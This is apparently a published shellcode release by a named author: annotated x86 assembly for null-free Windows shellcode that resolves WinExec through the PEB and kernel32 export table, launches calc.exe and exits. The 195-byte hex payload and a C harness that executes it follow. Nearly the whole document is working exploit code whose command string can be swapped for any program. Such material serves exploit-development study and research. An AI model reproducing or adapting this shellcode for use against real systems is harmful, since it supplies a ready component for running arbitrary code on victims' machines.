# Title: Windows\x86 - Null-Free WinExec Calc.exe Shellcode (195 bytes) # Shellcode Author: Bobby Cooke # Date: 2020-02-21 # Technique: PEB & Export Directory Table # Tested On: Windows 10 Pro (x86) 10.0.18363 Build 18363 _start: ; Create a new stack frame mov ebp, esp ; Set base stack pointer for new stack-frame sub esp, 0x20 ; Decrement the stack by 32 bytes ; Find kernel32.dll base address xor ebx, ebx ; EBX = 0x00000000 mov ebx, [fs:ebx+0x30] ; EBX = Address_of_PEB mov ebx, [ebx+0xC] ; EBX = Address_of_LDR mov ebx, [ebx+0x1C] ; EBX = 1st entry in InitOrderModuleList / ntdll.dll mov ebx, [ebx] ; EBX = 2nd entry in InitOrderModuleList / kernelbase.dll mov ebx, [ebx] ; EBX = 3rd entry in InitOrderModuleList / kernel32.dll mov eax, [ebx+0x8] ; EAX = &kernel32.dll / Address of kernel32.dll mov [ebp-0x4], eax ; [EBP-0x04] = &kernel32.dll ; Find the address of the WinExec Symbol within kernel32.dll ; + The hex values will change with different versions of Windows ; Find the address of the Export Table within kernel32.dll mov ebx, [eax+0x3C] ; EBX = Offset NewEXEHeader = 0xF8 add ebx, eax ; EBX = &NewEXEHeader = 0xF8 + &kernel32.dll mov ebx, [ebx+0x78] ; EBX = RVA ExportTable = 0x777B0 = [&NewExeHeader + 0x78] add ebx, eax ; EBX = &ExportTable = RVA ExportTable + &kernel32.dll ; Find the address of the Name Pointer Table within kernel32.dll ; + Contains pointers to strings of function names - 4-byte/dword entries mov edi, [ebx+0x20] ; EDI = RVA NamePointerTable = 0x790E0 add edi, eax ; EDI = &NamePointerTable = 0x790E0 + &kernel32.dll mov [ebp-0x8], edi ; save &NamePointerTable to stack frame ; Find the address of the Ordinal Table ; - 2-byte/word entries mov ecx, [ebx+0x24] ; ECX = RVA OrdinalTable = 0x7A9E8 add ecx, eax ; ECX = &OrdinalTable = 0x7A9E8 + &kernel32.dll mov [ebp-0xC], ecx ; save &OrdinalTable to stack-frame ; Find the address of the Address Table mov edx, [ebx+0x1C] ; EDX = RVA AddressTable = 0x777CC add edx, eax ; EDX = &AddressTable = 0x777CC + &kernel32.dll mov [ebp-0x10], edx ; save &AddressTable to stack-frame ; Find Number of Functions within the Export Table of kernel32.dll mov edx, [ebx+0x14] ; EDX = Number of Functions = 0x642 mov [ebp-0x14], edx ; save value of Number of Functions to stack-frame jmp short functions findFunctionAddr: ; Initialize the Counter to prevent infinite loop xor eax, eax ; EAX = Counter = 0 mov edx, [ebp-0x14] ; get value of Number of Functions from stack-frame ; Loop through the NamePointerTable and compare our Strings to the Name Strings of kernel32.dll searchLoop: mov edi, [ebp-0x8] ; EDI = &NamePointerTable mov esi, [ebp+0x18] ; ESI = Address of String for the Symbol we are searching for xor ecx, ecx ; ECX = 0x00000000 cld ; clear direction flag - Process strings from left to right mov edi, [edi+eax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] add edi, [ebp-0x4] ; EDI = &NameString = RVA NameString + &kernel32.dll add cx, 0x8 ; ECX = len("WinExec,0x00") = 8 = 7 char + 1 Null repe cmpsb ; compare first 8 bytes of [&NameString] to "WinExec,0x00" jz found ; If string at [&NameString] == "WinExec,0x00", then end loop inc eax ; else Counter ++ cmp eax, edx ; Does EAX == Number of Functions? jb searchLoop ; If EAX != Number of Functions, then restart the loop found: ; Find the address of WinExec by using the last value of the Counter mov ecx, [ebp-0xC] ; ECX = &OrdinalTable mov edx, [ebp-0x10] ; EDX = &AddressTable mov ax, [ecx + eax*2] ; AX = ordinalNumber = [&OrdinalTable + (Counter*2)] mov eax, [edx + eax*4] ; EAX = RVA WinExec = [&AddressTable + ordinalNumber] add eax, [ebp-0x4] ; EAX = &WinExec = RVA WinExec + &kernel32.dll ret functions: ; Create string 'WinExec\x00' on the stack and save its address to the stack-frame mov edx, 0x63657878 ; "cexx" shr edx, 8 ; Shifts edx register to the right 8 bits push edx ; "\x00,cex" push 0x456E6957 ; EniW : 456E6957 mov [ebp+0x18], esp ; save address of string 'WinExec\x00' to the stack-frame call findFunctionAddr ; After Return EAX will = &WinExec ; Call WinExec( CmdLine, ShowState ); ; CmdLine = "calc.exe" ; ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window xor ecx, ecx ; clear eax register push ecx ; string terminator 0x00 for "calc.exe" string push 0x6578652e ; exe. : 6578652e push 0x636c6163 ; clac : 636c6163 mov ebx, esp ; save pointer to "calc.exe" string in eax inc ecx ; uCmdShow SW_SHOWNORMAL = 0x00000001 push ecx ; uCmdShow - push 0x1 to stack # 2nd argument push ebx ; lpcmdLine - push string address stack # 1st argument call eax ; Call the WinExec Function ; Create string 'ExitProcess\x00' on the stack and save its address to the stack-frame xor ecx, ecx ; clear eax register mov ecx, 0x73736501 ; 73736501 = "sse",0x01 // "ExitProcess",0x0000 string shr ecx, 8 ; ecx = "ess",0x00 // shr shifts the register right 8 bits push ecx ; sse : 00737365 push 0x636F7250 ; corP : 636F7250 push 0x74697845 ; tixE : 74697845 mov [ebp+0x18], esp ; save address of string 'ExitProcess\x00' to stack-frame call findFunctionAddr ; After Return EAX will = &ExitProcess ; Call ExitProcess(ExitCode) xor edx, edx push edx ; ExitCode = 0 call eax ; ExitProcess(ExitCode) ; nasm -f win32 win32-WinExec_Calc-Exit.asm -o win32-WinExec_Calc-Exit.o ; for i in $(objdump -D win32-WinExec_Calc-Exit.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo ##################################################################################### #include #include char code[] = \ "\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b" "\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3" "\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24" "\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14" "\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18" "\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74" "\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41" "\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52" "\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51" "\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff" "\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f" "\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2" "\x52\xff\xd0"; int main(int argc, char **argv) { int (*func)(); func = (int(*)()) code; (int)(*func)(); }